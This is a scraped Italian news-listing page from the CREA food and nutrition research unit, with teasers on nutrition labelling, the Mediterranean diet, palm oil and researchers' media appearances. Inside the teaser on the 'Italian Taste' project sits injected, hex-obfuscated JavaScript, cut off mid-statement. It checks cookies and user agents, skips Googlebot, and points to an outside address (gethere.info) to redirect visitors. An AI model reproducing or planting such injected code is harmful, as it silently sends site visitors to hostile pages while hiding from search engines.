Articoli

Nuove etichette nutrizionali obbligatorie: ecco la guida del CREA

Dal 13 dicembre del 2016, entrerà in vigore la nuova normativa europea, che obbliga i prodotti alimentari a riportare in etichetta i nutrienti presenti, la loro quantità nonché il loro valore energetico complessivo. Uno strumento…

Il CREA a TG3 Fuori TG

Marika Ferrari, ricercatrice del CREA Alimenti e Nutrizione, ospite del programma TG3 Fuori TG, in onda sui su RAI 3 il 14 Giugno, per parlare della "Fame Nascosta",la mancanza di nutrienti essenziali per stare bene in salute. GUARDA…

Presentazione domani al Mipaaf del volume “World Food Production”: tra gli autori Michele Pisante, commissario delegato CREA , Marina Carcea e Laura Rossi, ricercatrici CREA Alimenti e Nutrizione

Sarà presentato domani al Mipaaf, a partire dalle 10, “World food Production. Facing growing needs and limited resources”, il volume collettivo che traccia un quadro planetario, tra presente e futuro, dell’agroalimentare . Il…

LA RICERCA DEL CREA PER IMPLEMENTARE LA SOSTENIBILITA’ DELLA DIETA IN EUROPA

Un dieta sostenibile a livello europeo: questo l’obiettivo del progetto SUSDIET. Le ricercatrici CREA Marika Ferrari e Laura Rossi parteciperanno  il 27 e 28 Aprile prossimi a Barcellona alla riunione plenaria del progetto SUSDIET…

Frutta e Verdura nelle Scuole: nutrirsi bene per crescere meglio

Giovedì 28 Aprile alle ore 9:30 presso la Sala convegni del CREA-Unità di ricerca per l'uva da tavola e la vitivinicoltura in ambiente mediterraneo (UTV), via Casamassima148 , 70010 Turi (BA) si svolgerà  l'evento "Frutta e Verdura…

CREA: PROGETTO TASTE PER STUDIARE GUSTI DEGLI ITALIANI

Rassegna stampa 7-9 aprile sul progetto Italian Taste per scoprire i gusti alimentari degli italiani. scarica la rassegna   stampa@crea.gov.itvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==…

IL CREA a Life-Obiettivo benessere su Radio 1 rai : INTEGRALE

La Dott.ssa Stefania Ruggeri, ricercatore del CREA Alimenti e Nutrizione, ai microfoni di Annalisa Manduca, nella sua trasmissione“Life-Obiettivo benessere” su Radio 1 rai,  oggi venerdì 01 Aprile alle 12.40 per parlare…

Il CREA a Milano a "Fa' la cosa giusta" per parlare di olio di palma

Laura Rossi, ricercatore del CREA Alimenti e Nutrizione, interverrà, sabato 19 marzo alle 16, a Milano, a "Olio di palma. La verità sull'ingrediente che ha invaso le nostre tavole", un incontro moderato dalla giornalista Mariangela…

Il CREA svela i segreti della Dieta Mediterranea

A Formia, in occasione del lancio dell'ottava edizione della manifestazione Vinicibando, il laboratorio itinerante del gusto e delle tipicità pontine, la ricercatrice e nutrizionista del CREA, Stefania Ruggeri, ha presentato il…

Dieta mediterranea: il CREA in audizione alla Commissione Agricoltura del Senato

Mercoledì 17 febbraio alle 14 , si è svolta, alla Commissione Agricoltura del Senato, l'audizione del direttore del CREA Alimenti e Nutrizione Elisabetta Lupotto in merito ai disegni di legge relativi alla dieta mediterranea. La…